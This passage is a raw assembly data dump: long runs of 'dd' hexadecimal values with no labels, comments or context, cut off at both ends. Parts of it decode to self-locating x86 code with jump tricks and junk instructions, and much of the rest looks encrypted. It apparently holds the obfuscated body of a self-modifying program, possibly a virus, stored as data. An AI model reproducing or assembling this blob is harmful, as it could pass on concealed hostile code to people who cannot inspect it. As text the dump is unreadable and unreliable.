12E85006h, 42000000h, 0EFCE7C54h dd 10EA88A4h, 3DC087C2h, 0EDB0CDF9h, 59F0B2CDh, 0E9240489h dd 12h, 97EE631Ah, 0CBCEE0F6h, 9DE7226Ah, 89037E6Bh, 6AA730h dd 16258D8Bh, 6A0607h, 78B0Fh, 66600000h, 38B4D08Bh, 0D1858D61h dd 0B5060DACh, 0FE990F8h, 0C2000000h, 0F81865A9h, 254CBCCAh dd 0EA7B9F24h, 0E9508E81h, 12h, 0CF386657h, 3186FD1Ah dd 89CE0EB3h, 17633915h, 6A9087C4h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A639C356h dd 0EC63E001h, 6E980h, 69A60000h, 91AAD0C8h, 9589006Ah dd 60704E1h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8920EBC3h, 71FC1B5h, 81BD0906h dd 0FF060719h, 71BCD95h, 0E4DE8006h, 5EBE9h, 0DA02BA00h dd 0E862BAh, 5D000000h, 0ACD6ED81h, 6A060Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9AF6C1C3h dd 0B4A45B3Dh, 0D08BB235h, 2CD5BD31h, 4E80607h, 0A0000000h dd 5000000Fh, 0B9310F52h, 41D38E93h, 0E850585Ah, 6, 0D3D23AF6h dd 525066ADh, 310F5F51h, 7E8h, 0EF993200h, 4B9916B9h, 5F585A5Fh dd 424448Bh, 0BFE12DBFh, 60008B0Ch, 14E8h, 0F126C00h, 0B9D9BD2Eh dd 0FB057148h, 8BF83FEEh, 0CE04B387h, 5E867h, 0F96A0000h dd 5A3AB19Ch, 9E9605Ah, 44000000h, 59C32830h, 5095EF25h dd 8D0Fh, 61610000h, 4244489h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0C28017BFh dd 95FFAD17h, 6073201h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0E3C35141h, 0C50EB80Dh, 667BDD9Ch, 8D031DBBh dd 0DABC0B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 5206C7EEh, 6A6D6765h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 75B3C352h dd 919D89C0h, 0C7060715h, 6E6F0446h, 46C76C63h, 73736108h dd 0D0BA6600h, 6A006A30h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 7D49C355h, 848AA61h dd 0ECDBEE1Fh, 0BE99D31h, 858D0607h, 60DABC0h, 61605752h dd 89505959h, 0B5892404h, 6070229h, 218D3160h, 0BB06070Ch dd 7BFBC660h, 1D95FF61h, 0F5060732h, 840FC00Bh, 52h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6AC35646h, 87ECB80Bh dd 1D69BD8Bh, 99E90607h, 6A000003h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 61CFC355h dd 0BD8D6F44h, 564A3036h, 4E8FA8Bh, 2C000000h, 8A000001h dd 7E950ECh, 0CA000000h, 75A6B58Eh, 448BCDE5h, 75B20424h dd 800F008Bh, 5, 130713BAh, 24448946h, 66606004h, 0E961D78Bh dd 12h, 3F79DE17h, 0B1A86CDDh, 0BE761B4Eh, 8DB4ADFh, 5861DC58h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 51C35545h dd 99958BFAh, 0BA060717h, 15860947h, 320195FFh, 9E90607h dd 63000000h, 71404DA0h, 0CDD1F8Dh, 0ABC0B58Dh, 6A060Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 5AF681C3h, 0F502225h, 386h, 9EEE8000h, 319D8B5Bh, 0C7060712h dd 34383106h, 12E936h, 0D3B70000h, 5D3EC5E0h, 6BCE4004h dd 9383E911h, 444C4DF4h, 370446C7h, 0B931342Dh, 2C8630B5h dd 846C7h, 8B000000h, 726ED8Dh, 6AFC06h, 0ABC0858Dh, 6A060Dh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0CCB066C3h, 5DE26A0Bh, 0BAB1C880h, 7D1D3412h, 0B2F18166h dd 0BA66505Fh, 489AFF3h, 0C2816624h, 95FF22F9h, 607321Dh dd 896FBB66h, 840FC00Bh, 61h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 9DC35040h, 1D770E8h, 2CAAEDA7h dd 22E4BF66h, 0F998D89h, 0F1E90607h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0D61AC356h, 6632B532h, 17BFDE8Bh, 8B13AD89h, 717D9BDh dd 4E806h, 12C0000h, 10E80000h, 28000000h, 0CBF600F4h dd 7040C6B2h, 7D1D30FFh, 6049F8EDh, 5250E88Ah, 585A310Fh dd 0E9505961h, 13h, 765127DCh, 6F47F624h, 40ABA8F6h, 4DED302Fh dd 8B06F7ABh, 8B042444h, 52008BDEh, 441EBB66h, 24448959h dd 67B7BB04h, 0E95867E5h, 0Eh, 0EEDEB2D3h, 0C86F19A4h dd 73FD89E6h, 95FFCE1Dh, 6073201h, 0ABC0B58Dh, 9E9060Dh dd 58000000h, 5AA2A648h, 3E019C29h, 694606C7h, 6A656Ch dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0FE9DAC3h, 6E000000h, 9DA7717Ah, 898CE7ABh, 77C18D2Bh dd 46C731FFh, 6E6F6D04h, 0EB816663h, 46C74238h, 73616C08h dd 0E98D8B73h, 0F9060717h, 0C46C7h, 23000000h, 72ABD95h dd 6A006A06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 0B423C350h, 0ABC0858Dh, 0BF66060Dh dd 8B50887Ah, 240489D3h, 65B589F9h, 0FF060723h, 7321D95h dd 5FF58006h, 840FC00Bh, 66h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 23C35141h, 861CF9EAh, 0E9235BF2h dd 70h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h dd 5DC35242h, 8E9889Eh, 0CA000000h, 26E344A5h, 0FF6A955h dd 686h, 0DDBD8B00h, 5306071Fh, 53EF8056h, 0A3E95B5Fh dd 6AFFFFFAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 4D86C353h, 5A5683D6h, 5619D03h dd 0BD8B0607h, 607017Dh, 715DB58Dh, 6A0607h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 89628C3h dd 9523520Dh, 60716E1h, 0B85Ah, 0D98B0000h, 6AE6FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F03105C3h, 66FC81C8h, 50A2CA81h, 0CE8C18Bh, 0C1000000h dd 0EE1D53E9h, 24FD4069h, 563B6877h, 0AE8h, 2CDB2E00h dd 444D5C06h, 297A38CBh, 718B1BDh, 585F5A06h, 1D95B533h dd 0C0810607h, 5B2Ch, 1255958Bh, 0CABB0607h, 812E7FF4h dd 7FDE2AEBh, 0D9958B2Eh, 0FF060701h, 9E930h, 0B9ED0000h dd 46431E84h, 59C70800h, 10E9h, 56E10F00h, 3C05E8F8h, 0D40F3826h dd 47BF4565h, 70F181EEh, 660452F6h, 472EDE81h, 9D14C181h dd 85017DCBh, 60707B1h, 6F3E981h, 0BD8B4112h, 6072CB9h dd 81008F51h, 7523B7F7h, 4E88302h, 1B39B501h, 0F4B0607h dd 0FFFF9E85h, 218529FFh, 0FE06071Fh, 0BCA7BCAh, 4F42F8A8h dd 0BCB468Ah, 0EAD5ABA8h, 0BCB1E75h, 4F43E6A8h, 0AE5DBA8Ah dd 4F405357h, 0BC80E8Ah, 0EAD5ABA8h, 0BC8D175h, 4F4081A8h dd 0BC9538Ah, 4F4103A8h, 0BC9D58Ah, 0EAD5ABA8h, 0D42F2575h dd 1327E031h, 0E2D2C003h, 90A752A5h, 57AFF08Dh, 0A65ED121h dd 0D42F4387h, 1327E1F6h, 0E2DAC003h dd 90A752A5h, 57AFF03Ch, 0A6AAD121h, 0D42F4387h, 1327E2A5h dd 0E226C003h, 90A752A5h, 57AFF3E8h, 0A6A6D121h, 0D42F4387h dd 1327E20Eh, 0E232C003h, 90A752A5h, 57AFF365h, 0A6B2D121h dd 0D42F4387h, 1327E398h, 0E23EC003h, 90A752A5h, 57AFF2FBh dd 0A68AD121h, 0D42F4387h, 1327E31Ah, 0E206C003h, 90A752A5h dd 57AFF261h, 0A682D121h, 0B8C34387h, 152A5012h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 46C0D5F2h, 96A4483Eh, 152AA8EDh dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh dd 0EAD5BA41h, 0AE63CE75h, 122A793Ah, 5342848Ch, 0EA2211ABh dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 132784E9h, 1129475h dd 54A0D902h, 0AEA4485Ah, 51A1EC79h, 0DC0941AEh, 18FA1522h dd 3773BA8Ch, 732ADF10h, 1028C821h, 0EA2C5978h, 152BFD5Bh dd 9881508Ch, 5C720400h, 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 6C0D5F2h, 0DAA4483Fh, 68A15CDDh, 0ADE78286h, 152A54A8h dd 5830BACCh, 9E2C53BFh, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h dd 54A0D9F9h, 0AEA4485Ah, 949A0D79h, 551A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 15C23454h, 0BA2458Ah, 0A040BE29h, 24294387h, 1957DFA0h dd 515E004Dh, 532A54A8h, 46ABD775h, 0CDA152AFh, 0FC69CE19h dd 0A5B9979Bh, 0FA31EFE2h, 54A0D9F9h, 0AEA4485Ah, 949A0D79h dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h dd 85E1D4A7h, 0DC088600h, 18FA1522h, 0E173BA8Ch, 9FA7FEF8h dd 57AF95CBh, 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0E9A2458Ah, 152A54AFh, 518FD775h, 452652AFh, 1028C820h dd 0EA2C5978h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h dd 57A55283h, 17868C23h, 0DB2FEF49h, 132784E9h, 0E9C49475h dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h, 1DE89D54h dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h dd 0EA80F8A8h, 56B54C18h, 0B9E2DFAEh, 0DC088558h, 18FA1532h dd 3771BA8Ch, 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0BF8654A8h, 46ABD775h, 0DDA152AFh, 0FB637726h dd 0C56BCE25h, 825D4387h, 0E4AAECCEh, 9028EEECh, 19577F02h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 54B0D903h dd 0AEA4485Ah, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 57AF95CBh dd 0A09A8757h, 0FB0E0320h, 0C56BCE25h, 825D4387h, 0D8ACECCEh dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 2EC0D5F2h, 96A44832h, 152AA8EDh dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah dd 60D554A8h, 59D7BA86h, 0A65ACE25h, 0DCF14387h, 189E1332h dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0D138C882h dd 462C591Bh, 0E5E5DF07h, 0C6D552A5h, 0B85E0003h, 152A5492h dd 0AEAE3075h, 8FA75CDDh, 57AFF606h, 52B0D9FBh, 0AEA4483Eh dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 1899CC32h dd 0CB2F168Ch, 1327E0EFh, 142B9675h, 152ABD54h, 0DAC3458Ah dd 0D7E3A8EDh, 44BA4582h, 0E9000030h, 2Ah, 2404C7h, 0E8000000h dd 0 dd 17ED815Dh, 8B060DB9h, 89042444h, 71FCD85h, 0B806h, 8D8D0000h dd 6074DB4h, 54B8E1FFh, 8D000067h, 0DBA1B8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0DA807DF5h, 0A2BB66B9h, 418D89D0h, 0F06071Bh, 682h dd 1950B00h, 0C7060726h, 7060585h, 6C6406h, 0C7C28B00h dd 7006985h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0B58BC43Ch, 60712D1h dd 0E9DBB70Fh, 0Bh, 0BFFE91A4h, 7768E386h, 0FF0A20CCh dd 70BA5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 8585293Eh, 8006072Dh, 95FFCCD3h dd 60701E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 39C35646h, 11F616ECh, 0FF006AF9h, 7320195h, 0EBC08B06h dd 3225AA18h, 7EA415E2h, 0AE007C86h, 0CE15AC5Fh, 0E84DD8A6h dd 0E60F5A00h, 0A59D8D16h, 0B8060725h, 1434h, 0C258589h dd 0E80607h, 58000000h, 0D05h, 0E9038900h, 1434h, 50Dh dup(0) dd 75FDED55h, 76F67A5Eh, 56E669A4h, 17FD49BCh, 75FD204Dh dd 0CAFD2063h, 28FD2077h, 1AFD20FDh, 0F0FD2038h, 0D9FD20DAh dd 0BEFD20ABh, 95FD2013h, 0D0FD204Fh, 0A9FD2060h, 2FD2077h dd 6FFD20FFh, 4CFD2039h, 29FD20DBh, 0D5FD20AAh, 39FD2011h dd 9DFD204Dh, 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh dd 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh dd 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A77E78h dd 75A77E10h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h dd 0F0701ABCh, 73F0A8F9h, 0BB23FFA6h, 0F0707C9Ah, 73F0A876h dd 0BB63FF6Ch, 0F0707CFFh, 73F0A882h, 0BB27FF35h, 0F0707C53h dd 73F0A874h, 0BB5FFF1Eh, 0F0707CC6h, 73F0A8FFh, 0BB5BFF7Bh dd 0F0707C74h, 73F0AA04h, 0BB57FFD7h, 0F0707C22h, 73F0AA5Dh dd 0BB53FF42h, 0F0707CE8h, 73F0AA12h, 0BB4FFFF0h, 0F0707CB1h dd 73F0AB65h, 0BB43FFA6h, 0F0707C9Ah, 73F0ABCCh, 0BB4BFF6Ch dd 0F0707CFFh, 73F0AB5Fh, 0BB47FF35h, 0F0707C53h, 73F0AB14h dd 0BB43FF1Eh, 0F0707CC6h, 73F0AB90h, 0BB33FF7Bh, 0F0707C74h dd 73F0AB28h, 0BB2FFFD7h, 0F0707C22h, 73F0AB20h, 0BB2BFF42h dd 0F0707CE8h, 73F0A8F2h, 0BB3FFFF0h, 0F0707CB1h, 73F0A869h dd 0BB3BFFA6h, 0F0707C9Ah, 73F0A819h, 0BB37FF6Ch, 0F0767CFFh dd 73FA6D70h, 0BAEAFF35h, 0F0767C53h, 73FA7A02h, 0BAE6FF1Eh dd 0B69C7CC6h, 9D11F1B0h, 75FD7AF2h, 5E17FB23h, 25FB776Ch dd 0FDF53FD5h, 78326CADh, 0B7342291h, 23AC7ACFh, 20AD29B7h dd 75FD7A1Ah, 987C2779h, 73F0AAF0h, 0BB60FFA0h, 0C87D7C22h dd 73F0B40Ah, 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 0BAE6EF86h dd 0FEBD7CB1h, 7A452B96h, 8AFD7A2Fh, 78326102h, 0EB48F7CDh dd 0F8FB772Bh, 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh dd 783261BAh, 0EB48F791h, 0F8FB7705h, 8A50FCD1h, 0BC1F2322h dd 0BB60F787h, 2DA07CB1h, 2CA32005h, 776D92ECh, 0CD4D7A97h dd 8A5779C1h, 78326D70h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh dd 0DE9B5954h, 0BAEAEFD0h, 0DE9B7C9Ah, 77959208h, 360B7AE5h dd 6E8872F3h, 0BAEAEF86h, 0C54D7CB1h, 8AAD7954h, 78326DBAh dd 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h dd 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h dd 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h dd 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah dd 360B2079h, 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h dd 0FF4DBA07h, 626885B5h, 2FFB773Dh, 51FD5F1Fh, 133F71DAh dd 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h dd 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h dd 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h dd 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h dd 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh dd 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 0BAE6EF0Dh dd 0C0707C74h, 73F0B45Eh, 7F518A5Dh, 0E002D02Ch, 73F0B580h dd 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h dd 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah dd 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh dd 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h dd 75059243h, 2D4D7A5Eh, 0B6577925h, 0BB69FF69h, 0C87D7CC6h dd 73F0B471h, 0F8EC0FF3h, 78327CFCh, 61152ABAh, 9DFD7A5Ch dd 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh dd 0BB69F787h, 0C87D7CB1h, 73F0B4CAh, 0F8F10F2Fh, 78327C12h dd 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 6E688579h, 0F8FB7773h dd 782E19C3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh dd 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 78326DCBh, 514ACE29h dd 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h dd 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0BAEAEF68h, 917D7CC6h dd 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h dd 0FCF992ACh, 7345B995h, 8AFD7ACBh, 78326170h, 8F60F7F4h dd 0F8FB77B7h, 0CD3E39A0h, 75FD7A4Eh, 0BAE6EFD0h, 0B57E7C9Ah dd 8935F1CEh, 0BAEAEF1Ah, 97577CFFh, 0BE15B98Eh, 0FF028543h dd 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh dd 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 617FB04h, 0FCFB77FCh dd 0CF7D86EAh, 73F0B5DDh, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h dd 0BAE6E843h, 0FCBD7C53h, 783265ADh, 0F835F191h, 78293D79h dd 626F85E3h, 0FDFB773Dh, 801F3C7Fh, 75FD6D04h, 6A7F795Eh dd 35FB77E0h, 0A1C6E01Ah, 0B67E7CC6h, 22FEF3E1h, 75FD644Bh dd 6A777979h, 0F8FB7773h, 782953ECh, 2B598929h, 75FD722Fh dd 6E6F85CBh, 0F6FB772Ah, 85897E0Ah, 72447C71h, 7DFD7ABCh dd 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch dd 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh dd 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh dd 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h dd 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h dd 2FFD7A2Fh, 0A1A79016h, 0CF707CC6h, 73F0B5C6h, 0CCF50F79h dd 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0BADEE7A2h, 497D7C9Ah dd 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh dd 0E617FB04h, 0F8FB77FBh, 78325925h, 7D80F1CDh, 75FD725Ch dd 145989F2h, 75F9B8B0h, 5640F7DCh, 46FB7791h, 75F5C3EFh dd 0DF0E7A97h, 0F89DB9AAh, 78325958h, 74C2FBF4h, 0FC7B78h dd 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 5640F7ABh dd 0CDFB772Ah, 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh dd 4578F7EFh, 8AFB7758h, 0E9CA8BD0h, 3Bh, 0FDBD8B60h, 8306070Fh dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0ADE9C8h, 84EB0000h dd 43A1BCC4h, 3C18F51Dh, 0F6CF026Ah, 0AA875AA2h, 0B4796FEh dd 81E9BF98h, 0DB23754Ch, 167E2406h, 0ADB59BFBh, 51E556F2h dd 1103001Eh, 7C250B81h, 44FA4560h, 403004Eh, 0C3E0323Ch dd 0A239A363h, 0BBE9CA45h, 95C3DCBDh, 73BBE3A3h, 6041DA85h dd 9827D43Ch, 5B050DCBh, 0FA34ADC7h, 761C0AF8h, 8CB3C5FAh dd 3EAFA35h, 16000000h, 4BA2FF79h, 58BE1B1Dh, 0B99504F2h dd 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h, 2E0E8B8Dh dd 163FE78h, 6832D95Fh, 60DD549h, 0F9A791E9h, 4D290DFFh dd 0A3BA72Fh, 99D4D57h, 0B89ED988h, 60DD5DEh, 4EBC503h dd 63459C92h, 0D9DE9h, 0D86E6800h, 67E9060Dh, 68FFF9A7h dd 60DD991h, 0F9A75DE9h, 0DA8768FFh, 53E9060Dh, 68FFF9A7h dd 60DDB21h, 0F9A749E9h, 0DE2268FFh, 3FE9060Dh, 68FFF9A7h dd 60DE111h, 0F9A735E9h, 0E21168FFh, 2BE9060Dh, 0ECFFF9A7h dd 0AAA7CF99h, 1DF0184Eh, 0D00D5503h, 8845ADF3h, 4091F9AFh dd 0D4809D06h, 2E72518Ch, 792F0BC6h, 0B0E6FC11h, 0E25DF7A8h dd 3001D5Ch, 0E53EB41Ch, 0FD7B2D04h, 2B0419C9h, 3C1EFB7Dh dd 0EEE40E56h dd 0BA500660h, 0DCB05B9h, 357D4505h, 0EA8B9C9Fh, 892B0F34h dd 0AD408AEh, 99CF2903h, 6D1F1BE5h, 6306E0D2h, 8A05F33Bh dd 30A8530h, 0ED6B3111h, 0D543156Ch, 1DEDC713h, 5D295107h dd 470D6AC7h, 0D6694387h, 56F01A7Bh, 0FDED2B30h, 804A1A42h dd 0B5E1C9C3h, 374Ah, 7F958E00h, 41B1A8E0h, 0D3C95F54h dd 33F27CE2h, 52083096h, 394160ECh, 11B1A07Eh, 701BE84Bh dd 9BAB0F34h, 1F98229Dh, 0FCD0030Ah, 3F3211F8h, 7F9B5E2h dd 7F000000h, 8E75Eh, 44A2DA00h, 51A2441Eh, 50DCBEDh, 6CCF85ADh dd 50DCBCAh, 0CEABA8Ah, 87EFB58Dh, 944E177Dh, 67DF58F2h dd 27050DCBh, 4FEC4F1Fh, 0F0F3498h, 4DE73127h, 0AFA4CF2h dd 64240C03h, 0AFA3B87h, 683E1A03h, 8B1373EEh, 4CCEC76Bh dd 69EF17F2h, 6C515BBFh, 29308498h, 0B5E2386Ah, 0DD61D274h dd 0FC030A02h, 223FB3E5h, 0B6569EC4h, 43A9h, 7F95AF00h dd 9BC395F3h, 0F6D22FC1h, 2EFEB6A0h, 34C198CDh, 47DA780Fh dd 873F3C6Ch, 0C7030AC1h, 0CE41B7FFh, 30AC16Ch, 45CC2024h dd 0B5E174FEh, 21A7AC0h, 307B7E83h, 0DE9680D6h, 0FF69F696h dd 0EF000000h, 181E44A2h, 63DB24FEh, 23050DCBh, 8DEE7313h dd 0F2643212h, 4A8C8AB2h, 9F8F4AB0h, 0C7756C62h, 0D31E254h dd 0F292A205h, 60D3176Fh, 50D31DEh, 3365439Eh, 115981C5h dd 0F65CBA27h, 6495EE5Ch, 0A00696Ch, 19C1325Ah, 0B8050D03h dd 71ECF45Ah, 7BCD4B11h, 0F892486Dh, 0D08C77Fh, 0EFBF8705h dd 7D5EB355h, 0AF652117h, 0D08EA4Ch, 0CA9AAA05h, 345C8C69h dd 0ECF43C0Fh, 0B9530046h, 35FFEABEh, 0AC664E09h, 0DC24704Dh dd 99702401h, 912311Dh, 903C51D7h, 0CC00000Ah, 8A47AFF9h dd 7D90F8AEh, 302D3563h, 0E8658DD3h, 60B1D98Fh, 0B4E0FDE6h dd 0E52B1ACh, 590F6BE6h, 90C6DC31h, 0C23DD748h, 300137Ch dd 0A2DE543Ch, 51CB1341h, 3609BF8h, 63ABDB5Dh, 7B9E77F5h dd 5C870753h, 39FD7E14h, 79050DEEh, 0AE849949h, 0D5AB303Eh dd 0C2213F3Bh, 0A4EC989Eh, 6A4BA67Ch, 0D4743026h, 7F95C6BCh dd 0DA936C26h, 1C0F34C1h, 81B3233Dh, 434108B2h, 386CEA12h dd 4ACCF468h, 0AE169D1h, 0C72D2103h, 0E1950340h, 0F88AB5h dd 936E0000h, 0BB21E1B7h, 0EE2A04E5h, 0DCBA90Dh, 91D9E905h dd 95166CF1h, 0B5A3EBB9h, 0C79DCB24h, 0CB6CD22Dh, 42C050Dh dd 0F2642809h, 9B1412B2h, 50DC447h, 0B2DA80E6h, 0AB220118h dd 65D31B4Dh, 86CE98F4h, 351B7BC6h, 0C47AC59Fh, 84050DCFh dd 0B80AECBCh, 0E05309AAh, 0F349B07h, 74D58FB7h, 7199491Fh dd 22F8BDABh, 353708D1h, 0D72DC809h, 0BD835981h, 0BCE8D535h dd 58BE93A8h, 0B18852F2h, 65F80054h, 3C55C08h, 0A10911E6h dd 96DD2ABh, 0DC330000h, 8BE9648Ch, 44A0BDC5h, 3E17CA12h dd 0F2CF026Ah, 0C3BF5EA6h, 4991C720h, 83EBBD94h, 0DE266C4Eh dd 157D2303h, 991D1EBAh, 0D9030012h, 41A2F349h, 0BF51CB13h dd 0DCBFABCh, 1BA39C05h, 5B050DCBh, 0C23D976Bh, 50DCB7Ch dd 1CCCF43Ch, 0EE92101h, 50DCBA8h, 75E3A989h, 14E7BD31h dd 50DCBA2h, 62AAD2E2h, 44A2A01Ah, 59B9181Eh, 9B9DC326h dd 4D5BA3EBh, 1E478DC6h, 0EFBAFB44h, 7A4A0F34h, 